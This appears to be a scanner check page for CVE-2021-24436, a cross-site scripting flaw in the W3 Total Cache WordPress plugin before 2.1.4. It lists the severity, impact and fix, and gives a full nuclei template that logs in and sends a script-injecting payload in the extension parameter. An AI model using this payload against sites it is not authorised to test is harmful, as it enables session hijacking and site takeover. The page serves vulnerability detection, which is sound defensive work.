WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user's web browser, which could lead to full site compromise.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version 2.1.4.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=w3tc_extensions&extension="%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: status_code_2 == 200 and contains(body_2, '><script>alert(document.domain)</script>&action=view') and contains(header_2, "text/html")

Run it with nuclei: nuclei -id CVE-2021-24436 -u <target>

The full check

id: CVE-2021-24436

info:
  name: WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.1.4.
  reference:
    - https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
    - https://wordpress.org/plugins/w3-total-cache/
    - https://wpscan.com/vulnerability/05988ebb-7378-4a3a-9d2d-30f8f58fe9ef
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24436
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24436
    cwe-id: CWE-79
    epss-score: 0.0183
    epss-percentile: 0.79041
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,authenticated,boldgrid,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=w3tc_extensions&extension="%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(body_2, '><script>alert(document.domain)</script>&action=view')
          - contains(header_2, "text/html")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from